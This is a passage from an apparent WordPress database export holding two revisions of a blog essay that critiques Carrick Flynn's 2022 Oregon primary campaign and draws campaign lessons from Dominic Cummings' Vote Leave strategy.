class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F279b83f7-36cf-4c64-bf81-42d8d4517513_2000x1294.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F279b83f7-36cf-4c64-bf81-42d8d4517513_2000x1294.jpeg\" alt=\"Obama supports but won\'t lead Bud Billiken Parade, campaign says – Chicago  Tribune\" title=\"Obama supports but won\'t lead Bud Billiken Parade, campaign says – Chicago  Tribune\"/></a><figcaption>To be fair, this one probably is Obama’s parade.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In Dominic Cummings’ Leave Campaign, his polling that voters were already concerned about immigration from the EU into the UK, and so one of the main focuses of their messaging was the idea that 58 million Turks were going to join the EU and migrate to the UK, taking jobs and straining the National Health Service. To be clear, this was not the issue that Dominic Cummings most cared about. If you read his writing, he was much more concerned about issues of political control between the EU and the UK. However, he knew it was the issue the voters cared about, so he rode that wave.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn had 3 issues he cared about listed on his website: fix Congress (i.e. working with anybody to get issues passed), building a green economy, and preventing pandemics. Now, these are worthy issues, in my opinion. However, my opinion doesn’t matter. The real question is: are these worthy issues in the voters’ opinions?<br><br>Nope! I don’t even have to justify that by looking at surveys. Most of the reason that EA people were excited about Carrick Flynn was because he was going to make pandemic prevention an issue in Congress. Now, why do you think the other Democrats (or Republicans) haven’t made it an issue in their own campaigns?&nbsp;<em>Because they already know that voters don’t care</em>. Other campaigns aren’t stupid: if voters cared about pandemic prevention, the politicians would talk about it. Voters don’t, so they won’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn should not have made pandemic prevention one of his major issues in his campaign. It would have been a much better idea to talk about issues that Democratic voters care about in his campaign (i.e. the boring culture war stuff that MSNBC talks about endlessly), and then quietly work on pandemic prevention once he got to Congress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, however, he tried to make his own wave: make the voters care about pandemic prevention, then be the leader in the campaign on that niche issue. This never, ever works.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Make sure you pick the right people for the spotlight.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of Dominic Cummings’ major tasks as the leader of the Leave Campaign was to keep the wrong people out of the spotlight. The most important person that Dominic Cummings had to keep out of the spotlight was Nigel Farage, who was the leader of the UK Independence Party. Even though Farage would be the natural face of the Leave Campaign, given his leadership of a party devoted to the UK leaving the EU, Cummings knew that Farage and UKIP were seen by the public at large as far-right thugs. Cummings describes in his polling how many of his respondents would actually agree with his messaging around Leave, but would refuse to support them because they didn’t want to be seen as in alignment with “those sort”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s turn to Carrick Flynn. I don’t know Carrick Flynn, but from reputation and from what I’ve read he seems like an exemplar of EA values: fiercely smart, devoted to the good of others (often in foreign countries), and very cerebral. He’s probably a great guy to know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, he is almost certainly not the right candidate for Oregon’s 6th congressional district. Most obviously, he’s not part of the district and hasn’t been for a long time. He left and did EA stuff all around the world, and literally only came back to run a Congressional campaign. Nobody in the district knew who he was, including any of the local politicians.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But also, according to Wikipedia, Oregon’s 6th congressional district’s two primary industries are agriculture and logging. Now, if I had to pick the guy who would click most with farmers and loggers, it’s not a cerebral nerd.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f02c-ff34-4d01-99e0-b3390a10e9fb_683x1024.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f02c-ff34-4d01-99e0-b3390a10e9fb_683x1024.jpeg\" alt=\"White Nerd Ninja Stock Photo - Download Image Now - iStock\" title=\"White Nerd Ninja Stock Photo - Download Image Now - iStock\"/></a><figcaption>This is not a photo of Carrick Flynn and I shouldn’t have put this here. But I thought it was funny.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This also applies to Sam Bankman-Fried. The fact that Sam Bankman-Fried donated $7 million to Carrick Flynn’s campaign became the major focus of the press on Flynn’s campaign. It makes a lot of sense to me, personally, why he did this. Sam Bankman-Fried cares about pandemic prevention, and he wanted to donate to a candidate who also does. However, from the locals’ perspective, “random crypto billionaire donates millions to dude we’ve never heard of who’s running for Congress” is pretty sketchy, and was not helped by the additional EA people donating additional millions to Carrick Flynn.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>3. Have a couple focus-tested messages and stick to them.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the things that Dominic Cummings repeats endlessly is the importance of the Vote Leave campaign’s two central messages:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) The UK gives 350 million pounds a week to the EU, when they could have been giving that to the NHS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) There is going to be a flood of immigration into the UK with the new countries, like Turkey, joining the EU.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They developed these messages near the beginning of the campaign, tested them with a variety of focus groups, and found they were by far the strongest messages. So, those were the messages they stuck to in all of their advertising, public messaging, and media campaigns.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F50617b7b-2b32-4ec6-b086-afb2399c059f_976x549.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F50617b7b-2b32-4ec6-b086-afb2399c059f_976x549.jpeg\" alt=\"Reality Check: Checking the Vote Leave leaflet - BBC News\" title=\"Reality Check: Checking the Vote Leave leaflet - BBC News\"/></a><figcaption>The infamous, incredibly effective Vote Leave leaflet that they blanketed the UK with.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It’s important to note that these were not the most obviously important messages. Dominic Cummings, as previously mentioned, cared most about issues of political control. The media thought that Vote Leave should make their argument about the EU market, and tried to encourage them in that direction in debates. The conservative politicians came up with “Go Global” along with a fun diagram of a globe, which they thought was very clever.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But none of those messages tested as well as Turkey/NHS/£350 million, so Dominic Cummings ignored them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Carrick Flynn’s campaign, it seems really obvious that his messages were not focus-tested. In a Democratic primary in an agricultural district, I’d assume that the messages that are going to play best to the Democratic base are going to be either culture war or stuff about supporting agriculture. I would really doubt that messages about effective cooperation or pandemic prevention test well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, Andrea Salinas, the winner of the OR-06 primary, was focused very deliberately on culture war stuff in her messaging: universal healthcare, $15 minimum wage, abortion rights, and gun control. I’m not saying this is brilliant, but, if you had to bet without doing focus testing on what’s going to be the best message to communicate with a Democratic base, I’d bet it’s the same stuff that gets AOC all of her positive press.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>4. Measure the effectiveness of advertising.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As someone who sells my services and products every day for a living, I am forced to be aware of how ineffective most advertising is. I have spent dozens of hours and spent thousands of dollars on ad campaigns which had zero results on my sales.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is something that Dominic Cummings and his team were also acutely aware of. They only had 13.7 million pounds (coincidentally, close to the amount that Carrick Flynn had) to convince an entire country to vote a certain way. So, when they purchased advertising, they prioritized advertising whose effectiveness could be measured and compared, namely digital advertising (i.e. Facebook ads) and leafleting. They also used follow-up surveys of voters to determine how the advertising changed their likelihood of voting Leave.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I don’t know if Carrick Flynn’s campaign did something similar. But, given that they had $14 million to quickly spend on a district of around 500k people, I’d bet they didn’t. Instead, I’d bet they went the overfunded startup mode: when you have too much money, not enough people to really monitor the money spent, and a limited amount of time to spend the money, you just blanket the ads everywhere and hope for the best. This is not a good way to ensure votes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Future posts will almost certainly not be about politics.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For what it’s worth, after coming up with his campaign’s messaging, Cummings found the most effective marketing was face-to-face, followed by texts, followed by targeting Facebook ads and targeted mail (including personally addressed mail). Emails and phone calls were almost useless, and Twitter was exceptionally useless.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>5. Distract the useless people.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of Dominic Cummings’ major complaints about the broader Vote Leave coalition was how useless most of his political allies were. Most politicians, in his view, would rather lose a campaign conventionally than win it unconventionally, so they were constantly bombarding him with useless ideas about what they thought should work. This included using the same tactics, consultants, and messaging that had made Vote Leave so unpopular in the start of the campaign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cummings’s response was to organize committees for them to be on and then ignore the recommendations of the committees. When he needed them to fall in line (e.g. go on TV and say a certain message), there was a lot of bullying, cajoling, and bribing he needed to do as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m sure Carrick Flynn, and any person who attracts a lot of EA support, is going to get a lot of well-meaning but useless feedback from EA people, including people in the EA hierarchy. I don’t know how Carrick handled this, but committees seem to be a good way of doing so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>6. Advertise closer to the end of the decision.&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This one’s pretty straightforward, but it makes sense. Even though the Brexit referendum was announced many months before it actually happened, Dominic Cummings saved most of his advertising and messaging for the last 10 weeks. Most people don’t think about politics that much or that often, so they really only care close to when they need to make a decision.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>7. Decentralize your decision-making</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Campaigns are an unwieldy mix of volunteers and paid staff, all of whom are brought on very quickly. It’s like working at a startup with worse incentive alignment. As such, decisions from the top are not necessarily going to be executed at the bottom, and information from the bottom is not necessarily going to be filtered up to the top.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most important thing, then, is to give everyone the information they need to do their job, and then the latitude to make the decisions necessary as they see fit. This is especially important when it comes to volunteers, who have a wide range of effectiveness, from the incredibly engaged to the half-assed. It’s important for the incredibly engaged to be able to go above and beyond with their work, and not be blocked by the half-assed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EA and EA-associated political campaigns will of course have this exact issue in spades. Decentralizing and empowering the more engaged so that they aren’t distracted by the less engaged will be huge for making a more effective campaign. I don’t know how Carrick Flynn ran the internals of his campaign, but I hope future EA campaigns go by this model.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>8. With a gentleman, a gentleman-and-a-half. With a pirate, a pirate-and-a-half.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This charming phrasing comes directly from Dominic Cummings. If you’re confused about the meaning, it’s basically tit-for-tat: if someone treats you nicely, treat them nicely. If someone treats you poorly, treat them poorly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I imagine the extent to which this applies in politics would come as a surprise to most EA people. As Dominic Cummings found out, many people who are supposedly on your side in politics will actively work against you for their own reasons. Nigel Farage, for instance, undermined the Vote Leave campaign among his followers, forbidding them from working with Cummings, as he was upset that the campaign did not feature him. This was one of the reasons why Cummings constantly sidelined Farage and refused to give him information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn got a taste of this with&nbsp;<a href=\"https://www.wweek.com/news/state/2022/05/01/environmental-groups-condemn-congressional-candidate-carrick-flynns-comments-on-spotted-owls-timber-unity/\">his owl dustup</a>, in which he said he had “emotional sympathy” for Timber Unity, a group which was frustrated with restrictions on logging due to protections for an endangered owl species. This relatively innocuous phrase of “emotional sympathy” earned this public response from 6 different environmental groups in Oregon:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>As organizations who have been fighting for decades to uphold the strong environmental values held by the people of Oregon, we are stunned and deeply saddened to hear Carrick Flynn, a Democratic candidate running for Congress, make comments mocking critical environmental protections, sympathizing with a far-right group that has ties to the Jan. 6 insurrection, and referring to our state’s iconic land use system as ‘insane’.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn might have expected environmentalists to be gentlemen, at least to him, given that one of his main campaign issues was building a green economy. He was wrong. They were pirates, and he needed to treat them as such. That included not apologizing or reversing statements: pirates take that as a sign of weakness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>9. If you want to get the atypical voters involved, you have to be creative.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>EA, by its nature, is a niche philosophy. However, I suspect that there are many non-engaged voters who would be interested in voting for an EA candidate speaking about EA issues, like pandemic prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The challenge is reaching these voters. They are, by definition, not into politics. This was the same challenge Dominic Cummings faced. He wanted to reach working-class men who’d be most affected by a wave of unskilled immigration into the UK. However, these are not the sort of men who are generally into politics. The only news they follow, generally, is football (soccer) news.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in order to reach them, that’s exactly the avenue that Dominic Cummings went down. The Vote Leave Campaign did a contest where football fans could win 50 million pounds if they successfully predicted the winner of every game in the European Championships that year. All they had to do was put in their name, address, email, telephone number, and how they intended to vote in the referendum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8a6ac771-1b2b-4991-ac24-dfc917751be8_976x549.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F8a6ac771-1b2b-4991-ac24-dfc917751be8_976x549.jpeg\" alt=\"Vote Leave fined over thousands of unsolicited texts - BBC News\" title=\"Vote Leave fined over thousands of unsolicited texts - BBC News\"/></a><figcaption>This is literally what the ad looked like. Sketchy? Yes, absolutely. But it worked.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now, what does the European Championships have to do with Brexit? Very little! But that didn’t matter. The important thing was that this information gave Dominic Cummings the information he needed to target the voters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not sure what the equivalent contest would be for EA. There would need to be some better polling on who’s most sympathetic to EA issues. Perhaps it’s college students, or even churchgoers. However, it’d be easy enough to figure out, and then getting the information for these sorts of voters would only be a stupid contest away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>10. Know what the press cares about.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For the most part, the press was hostile to Vote Leave. When they did cover it, they covered it unsympathetically. More importantly, however, they weren’t particularly interested in covering the issues that Vote Leave cared about, which made it difficult for Vote Leave to get press coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t unique to Vote Leave. The press, by and large, isn’t interested in substantial coverage of issues, and neither is their readership. When they cover politics, they’re really most interested in the personalities and the drama behind it, or, as Cummings puts it, the “snakes and ladders of careers”.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the story that Cummings gave to the press was that Conservatives were forming an alternative government, and that Boris Johnson and Michael Gove were going to be head of it. This transformed the issue of Vote Leave into one of politicians usurping power, which is something the press cares about a lot more and is willing to cover. And, when Cummings got Johnson and Gove to discuss the reasons why they were forming an “alternative government”, namely the same focus-tested issues from before, this allowed those issues to get press coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EA politicians need to do something similar. Carrick Flynn accidentally found out how the press worked when by far the biggest story of his campaign was a mysterious young crypto billionaire giving him $7 million, followed by environmentalist groups condemning him for his owl remarks. Or, in other words, money and interpersonal drama.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Faa1a9382-1bd0-44ac-88b3-2d81227f0395_1460x1106.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Faa1a9382-1bd0-44ac-88b3-2d81227f0395_1460x1106.png\" alt=\"\"/></a><figcaption>Top stories when I Google Carrick Flynn are Nancy Pelosi, Sam Bankman-Fried, and crypto. This is what the press cares about!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If EA groups or Carrick Flynn had planned better, they perhaps could have manipulated the press to their own benefit. For example, Carrick Flynn and Sam Bankman-Fried could have collaborated to make the story more like Flynn convincing Bankman-Fried to invest $7 million into Oregon as a green job initiative as part of some nonprofit that Flynn set up. That would require some extra work, but would have played way better in the press.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To conclude, I don’t mean to denigrate Carrick Flynn, EA, or Sam Bankman-Fried. This criticism comes out of a place of love, as I really do appreciate what EA does, what it stands for, and the impact it’s had in my life. I also think that Carrick Flynn seems like a great, hard-working guy, and I have no doubt he’d be the same as a politician.<br><br>However, as I said in the beginning, $14 million is a ton of money, whether you measure it by bednets or Congressional race standards. Dominic Cummings ran a nationwide campaign with about the same amount of money. If EA can’t win a local Congressional race with that amount, then there needs to be some serious reworking of how we think about things. I’m hoping this will be a good place to start.</p>\n<!-- /wp:paragraph -->','How to win an election in 10 easy steps: an effective altruist\'s guide','','publish','closed','closed','','how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide','','','2022-05-27 14:35:41','2022-05-27 14:35:41','',0,'https://trevorklee.com/?page_id=289',0,'page','',0),
(290,1,'2022-05-27 14:35:41','2022-05-27 14:35:41','<!-- wp:paragraph -->\n<p>This essay is pretty far outside my usual beat of niche biology topics, but I thought it was important. If you find it boring or distasteful, don’t worry, I don’t intend this to be a regular thing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To start off with, I’d like to say that I am very sympathetic to effective altruism (or EA, for short) and its goals. Both the philosophy and the community have had a big impact on my life and my business. I also think EA would definitely be a beneficial force in American politics, which sorely needs good people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this this is why it makes me so sad that EA has just spectacularly fumbled its first foray into electoral politics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, if you’re not up to date on current US politics, the Effective Altruism community&nbsp;<a href=\"https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwjy46626v_3AhU8q4QIHf7tCk8QvOMEKAB6BAgFEAE&amp;url=https%3A%2F%2Fwww.marketwatch.com%2Fstory%2Fdespite-11-million-in-donations-from-a-crypto-billionaire-carrick-flynn-loses-big-in-oregon-primary-11652887087&amp;usg=AOvVaw2ZnTLRmcEqgAYB61XbvwaN\">has just blown about $14 million on the Carrick Flynn campaign</a>, including $7-$11 million (numbers vary) from Sam Bankman-Fried, the effective altruist crypto billionaire. Carrick Flynn is a guy with impeccable effective altruist credentials and very little political experience who ran in the Democratic primary for a newly created House seat in Oregon. He lost to Andrea Salinas, a longtime local Democratic political operative in that area, albeit one who never ran for election. She, needless to say, did not spend $14 million on her campaign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>$14 million would have been a lot of money to spend on Flynn’s campaign even if he had won, as it’s difficult for any Congressperson to make a difference in today’s government, nevermind an incredibly junior Congressman with no political experience. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Considering that Carrick lost, it’s, well, a shitton of money. I don’t want to bring up the whole bednets thing, but $14 million buys a lot of bednets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the EA community plans to have political influence/run candidates in the future, I think there needs to be a much better plan than what there was for Carrick, which mostly seemed to be “EA guy decides he wants to run, everyone gives him money”. After all, this is supposed to be a&nbsp;<em>rational</em>&nbsp;community, and that doesn’t seem like a particularly rational strategy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This essay is an attempt to develop the frameworks of that plan. It’s based around Dominic Cummings’ long, detailed, somewhat rambling blogs (<a href=\"https://dominiccummings.com/2017/01/09/on-the-referendum-21-branching-histories-of-the-2016-referendum-and-the-frogs-before-the-storm-2/\">1</a>,&nbsp;<a href=\"https://dominiccummings.com/2016/10/29/on-the-referendum-20-the-campaign-physics-and-data-science-vote-leaves-voter-intention-collection-system-vics-now-available-for-all/\">2</a>, and&nbsp;<a href=\"https://dominiccummings.files.wordpress.com/2017/01/2016-ref-address.pdf#page=2\">3</a>) on how he thought out the Leave Campaign for Brexit, which was a very well-run campaign that accomplished its goals despite a lot of structural disadvantages and starting very far behind in the polls. It’s filtered through my experience selling stuff: although I’ve never run a campaign, I’ve been self-employed my whole life, selling my services, products, and software to the consumer world at large. I’m pretty good at selling a story, in other words.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, neither my sources nor my own background are perfectly fitted to this task. There will definitely be gaps and errors in this document. I hope to get input from more knowledgeable people to fix it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I just have to say, when I say more knowledgeable, I mean people who’ve actually participated in running a campaign, not people who are “political junkies” or pundits. As someone who’s done a lot of combat sports in my life, I am very aware of how ineffective combat sports fans are once they get punched in the face. I have to assume the same is true of political fans once they actually have to make a decision.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Campaigns don’t make waves, they ride them.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the most important things that Dominic Cummings harps on is the fundamental idea above: campaigns don’t make waves, they ride them. I’ve also heard this as “The art of being a politician is to find a parade, start marching at the head of it, and then claim you’re the leader”.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F279b83f7-36cf-4c64-bf81-42d8d4517513_2000x1294.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F279b83f7-36cf-4c64-bf81-42d8d4517513_2000x1294.jpeg\" alt=\"Obama supports but won\'t lead Bud Billiken Parade, campaign says – Chicago  Tribune\" title=\"Obama supports but won\'t lead Bud Billiken Parade, campaign says – Chicago  Tribune\"/></a><figcaption>To be fair, this one probably is Obama’s parade.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>In Dominic Cummings’ Leave Campaign, his polling that voters were already concerned about immigration from the EU into the UK, and so one of the main focuses of their messaging was the idea that 58 million Turks were going to join the EU and migrate to the UK, taking jobs and straining the National Health Service. To be clear, this was not the issue that Dominic Cummings most cared about. If you read his writing, he was much more concerned about issues of political control between the EU and the UK. However, he knew it was the issue the voters cared about, so he rode that wave.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn had 3 issues he cared about listed on his website: fix Congress (i.e. working with anybody to get issues passed), building a green economy, and preventing pandemics. Now, these are worthy issues, in my opinion. However, my opinion doesn’t matter. The real question is: are these worthy issues in the voters’ opinions?<br><br>Nope! I don’t even have to justify that by looking at surveys. Most of the reason that EA people were excited about Carrick Flynn was because he was going to make pandemic prevention an issue in Congress. Now, why do you think the other Democrats (or Republicans) haven’t made it an issue in their own campaigns?&nbsp;<em>Because they already know that voters don’t care</em>. Other campaigns aren’t stupid: if voters cared about pandemic prevention, the politicians would talk about it. Voters don’t, so they won’t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Carrick Flynn should not have made pandemic prevention one of his major issues in his campaign. It would have been a much better idea to talk about issues that Democratic voters care about in his campaign (i.e. the boring culture war stuff that MSNBC talks about endlessly), and then quietly work on pandemic prevention once he got to Congress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, however, he tried to make his own wave: make the voters care about pandemic prevention, then be the leader in the campaign on that niche issue. This never, ever works.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Make sure you pick the right people for the spotlight.</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of Dominic Cummings’ major tasks as the leader of the Leave Campaign was to keep the wrong people out of the spotlight. The most important person that Dominic Cummings had to keep out of the spotlight was Nigel Farage, who was the leader of the UK Independence Party. Even though Farage would be the natural face of the Leave Campaign, given his leadership of a party devoted to the UK leaving the EU, Cummings knew that Farage and UKIP were seen by the public at large as far-right thugs. Cummings describes in his polling how many of his respondents would actually agree with his messaging around Leave, but would refuse to support them because they didn’t want to be seen as in alignment with “those sort”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s turn to Carrick Flynn. I don’t know Carrick Flynn, but from reputation and from what I’ve read he seems like an exemplar of EA values: fiercely smart, devoted to the good of others (often in foreign countries), and very cerebral. He’s probably a great guy to know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, he is almost certainly not the right candidate for Oregon’s 6th congressional district. Most obviously, he’s not part of the district and hasn’t been for a long time. He left and did EA stuff all around the world, and literally only came back to run a Congressional campaign. Nobody in the district knew who he was, including any of the local politicians.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But also, according to Wikipedia, Oregon’s 6th congressional district’s two primary industries are agriculture and logging. Now, if I had to pick the guy who would click most with farmers and loggers, it’s not a cerebral nerd.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f02c-ff34-4d01-99e0-b3390a10e9fb_683x1024.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa153f02c-ff34-4d01-99e0-b3390a10e9fb_683x1024.jpeg\" alt=\"White Nerd Ninja Stock Photo - Download Image Now - iStock\" title=\"White Nerd Ninja Stock Photo - Download Image Now - iStock\"/></a><figcaption>This is not a photo of Carrick Flynn and I 